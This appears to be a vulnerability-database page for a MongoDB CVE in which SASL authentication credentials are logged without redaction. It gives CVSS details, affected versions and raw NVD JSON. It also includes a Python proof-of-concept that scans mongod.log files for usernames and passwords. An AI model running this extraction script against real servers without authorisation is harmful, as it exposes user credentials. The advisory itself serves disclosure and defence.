Security Vulnerability Report
中文
CVE-2026-9735 CVSS 5.5 MEDIUM

CVE-2026-9735

Published: 2026-06-09 23:17:03
Last Modified: 2026-06-10 19:43:29

Description

MongoDB server may log authentication parameters, including credentials, to the server log during SASL authentication. When connection health metric logging is enabled, the full authentication parameters are written to the log without redaction.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 安全补丁版本
MongoDB Server 6.x 系列受影响
MongoDB Server 7.x 系列可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-9735 PoC - MongoDB Log Credential Extraction This PoC demonstrates how to extract credentials from MongoDB logs when connection health metric logging is enabled. """ import os import re import sys def extract_mongodb_logs(log_path): """ Extract potential credentials from MongoDB log files. Args: log_path: Path to MongoDB log file (usually mongod.log) Returns: List of extracted credentials """ credentials = [] sasl_pattern = r'SASL\s+(?:authentication|step)\s+.*?(user|username)[=:]\s*(\S+)' auth_pattern = r'authenticate\s+.*?(user|username|password)[=:]\s*(\S+)' try: with open(log_path, 'r', encoding='utf-8', errors='ignore') as f: for line in f: # Look for SASL authentication patterns sasl_matches = re.findall(sasl_pattern, line, re.IGNORECASE) for match in sasl_matches: credentials.append({ 'type': 'SASL_AUTH', 'user': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) # Look for general authentication patterns auth_matches = re.findall(auth_pattern, line, re.IGNORECASE) for match in auth_matches: credentials.append({ 'type': 'AUTH_LOGIN', 'credential': match[1] if len(match) > 1 else match[0], 'log_line': line.strip() }) except PermissionError: print(f'[-] Permission denied: {log_path}') except FileNotFoundError: print(f'[-] Log file not found: {log_path}') return credentials def main(): if len(sys.argv) < 2: print('Usage: python3 cve_2026_9735_poc.py <mongodb_log_path>') print('Example: python3 cve_2026_9735_poc.py /var/log/mongodb/mongod.log') sys.exit(1) log_path = sys.argv[1] print(f'[*] Analyzing MongoDB log file: {log_path}') print(f'[*] Looking for exposed credentials (CVE-2026-9735)') creds = extract_mongodb_logs(log_path) if creds: print(f'[!] Found {len(creds)} potential exposed credentials:') for i, cred in enumerate(creds, 1): print(f'\n[{i}] Type: {cred["type"]}') print(f' User: {cred.get("user", cred.get("credential", "N/A"))}') print(f' Log: {cred["log_line"][:100]}...') else: print('[*] No obvious credentials found in log file') print('[*] Note: This does not mean the system is not vulnerable') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9735", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:03.287", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "MongoDB server may log authentication parameters, including credentials, to the server log during SASL authentication. When connection health metric logging is enabled, the full authentication parameters are written to the log without redaction."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-126506", "source": "[email protected]"}]}}